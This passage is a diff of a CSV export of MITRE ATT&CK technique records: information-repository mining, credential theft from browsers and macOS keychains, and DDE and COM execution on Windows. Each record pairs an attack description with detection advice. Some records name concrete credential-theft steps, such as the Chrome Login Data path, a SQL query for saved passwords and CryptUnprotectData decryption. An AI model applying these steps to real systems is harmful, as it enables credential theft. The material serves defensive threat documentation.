-","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1213/002', external_id='T1213.002'), ExternalReference(source_name='Microsoft SharePoint Logging', description='Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', url='https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2')]",attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 16:41:00.821000+00:00,Sharepoint,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,,,,"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/002', 'external_id': 'T1213.002'}, {'source_name': 'Microsoft SharePoint Logging', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -",,,,,True,,,['User'],"['Windows', 'Office 365']",,,,1.0 -2020-02-14 13:09:51.004000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5," +",True,['User'],"['Windows', 'Office 365']",1.0,,,,,,, +attack-pattern,attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-14T13:09:51.004Z,2021-06-08T17:08:08.386Z,Confluence," Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards @@ -1372,10 +1556,10 @@ Adversaries may leverage Confluence repositories to mine valuable information. O * Work / project schedules * Source code snippets * Links to network shares and other internal resources -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1213/001', external_id='T1213.001'), ExternalReference(source_name='Atlassian Confluence Logging', description='Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', url='https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html')]",attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 16:42:09.222000+00:00,Confluence,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,,,,"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/001', 'external_id': 'T1213.001'}, {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",,,,,True,,,['User'],['SaaS'],,,,1.0 -2020-02-12 18:57:36.041000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. +User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",True,['User'],['SaaS'],1.0,,,,,,, +attack-pattern,attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:57:36.041Z,2021-04-14T14:03:47.293Z,Credentials from Web Browsers,"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018) @@ -1383,48 +1567,54 @@ Adversaries have executed similar procedures for common web browsers such as Fir Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016) -After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555/003', external_id='T1555.003'), ExternalReference(source_name='Talos Olympic Destroyer 2018', description='Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', url='https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'), ExternalReference(source_name='Microsoft CryptUnprotectData April 2018', description='Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.', url='https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata'), ExternalReference(source_name='Proofpoint Vega Credential Stealer May 2018', description='Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.', url='https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign'), ExternalReference(source_name='FireEye HawkEye Malware July 2017', description='Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.', url='https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html'), ExternalReference(source_name='GitHub Mimikittenz July 2016', description=""Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."", url='https://github.com/putterpanda/mimikittenz')]",attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 14:03:47.293000+00:00,Credentials from Web Browsers,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam', 'RedHuntLabs, @redhuntlabs']","['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,,,,"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-02-12 18:56:31.051000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware) +After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/003', 'external_id': 'T1555.003'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Microsoft CryptUnprotectData April 2018', 'description': 'Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata'}, {'source_name': 'Proofpoint Vega Credential Stealer May 2018', 'description': 'Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign'}, {'source_name': 'FireEye HawkEye Malware July 2017', 'description': 'Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html'}, {'source_name': 'GitHub Mimikittenz July 2016', 'description': ""Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."", 'url': 'https://github.com/putterpanda/mimikittenz'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam', 'RedHuntLabs, @redhuntlabs']","['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",True,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:56:31.051Z,2020-02-17T13:16:53.850Z,Securityd Memory,"An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware) -In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555/002', external_id='T1555.002'), ExternalReference(source_name='OS X Keychain', description='Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.', url='http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain'), ExternalReference(source_name='OSX Keydnap malware', description='Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', url='https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'), ExternalReference(source_name='External to DA, the OS X Way', description='Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', url='http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way')]",attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-02-17 13:16:53.850000+00:00,Securityd Memory,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Access']",,,,,Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.,,,,,True,,,['root'],"['Linux', 'macOS']",,,,1.0 -2020-02-12 18:55:24.728000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. +In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/002', 'external_id': 'T1555.002'}, {'source_name': 'OS X Keychain', 'description': 'Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.', 'url': 'http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Access']",,Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.,True,['root'],"['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T18:55:24.728Z,2020-02-17T13:14:31.140Z,Keychain,"Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. -To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555/001', external_id='T1555.001'), ExternalReference(source_name='Wikipedia keychain', description='Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.', url='https://en.wikipedia.org/wiki/Keychain_(software)'), ExternalReference(source_name='External to DA, the OS X Way', description='Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', url='http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way')]",attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-02-17 13:14:31.140000+00:00,Keychain,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,,,,"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",,,,,True,,,['Administrator'],['macOS'],,,,1.0 -2020-02-12 14:10:50.699000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. +To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/001', 'external_id': 'T1555.001'}, {'source_name': 'Wikipedia keychain', 'description': 'Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Keychain_(software)'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",True,['Administrator'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:10:50.699Z,2021-07-26T22:52:04.196Z,Dynamic Data Exchange,"Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) -Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1559/002', external_id='T1559.002'), ExternalReference(source_name='BleepingComputer DDE Disabled in Word Dec 2017', description='Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.', url='https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/'), ExternalReference(source_name='Microsoft ADV170021 Dec 2017', description='Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.', url='https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021'), ExternalReference(source_name='Microsoft DDE Advisory Nov 2017', description='Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.', url='https://technet.microsoft.com/library/security/4053440'), ExternalReference(source_name='SensePost PS DDE May 2016', description='El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.', url='https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/'), ExternalReference(source_name='Kettle CSV DDE Aug 2014', description='Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.', url='https://www.contextis.com/blog/comma-separated-vulnerabilities'), ExternalReference(source_name='Enigma Reviving DDE Jan 2018', description='Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.', url='https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee'), ExternalReference(source_name='SensePost MacroLess DDE Oct 2017', description='Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.', url='https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'), ExternalReference(source_name='NVisio Labs DDE Detection Oct 2017', description='NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', url='https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/')]",attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 19:32:56.572000+00:00,Dynamic Data Exchange,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). +Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559/002', 'external_id': 'T1559.002'}, {'source_name': 'BleepingComputer DDE Disabled in Word Dec 2017', 'description': 'Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.', 'url': 'https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/'}, {'source_name': 'Microsoft ADV170021 Dec 2017', 'description': 'Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.', 'url': 'https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021'}, {'source_name': 'Microsoft DDE Advisory Nov 2017', 'description': 'Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.', 'url': 'https://technet.microsoft.com/library/security/4053440'}, {'source_name': 'SensePost PS DDE May 2016', 'description': 'El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.', 'url': 'https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/'}, {'source_name': 'Kettle CSV DDE Aug 2014', 'description': 'Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.', 'url': 'https://www.contextis.com/blog/comma-separated-vulnerabilities'}, {'source_name': 'Enigma Reviving DDE Jan 2018', 'description': 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.', 'url': 'https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee'}, {'source_name': 'SensePost MacroLess DDE Oct 2017', 'description': 'Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.', 'url': 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). -OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-02-12 14:09:53.107000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) +OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)",True,['User'],['Windows'],1.1,True,,,,,, +attack-pattern,attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:09:53.107Z,2021-07-26T22:51:20.448Z,Component Object Model,"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) -Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 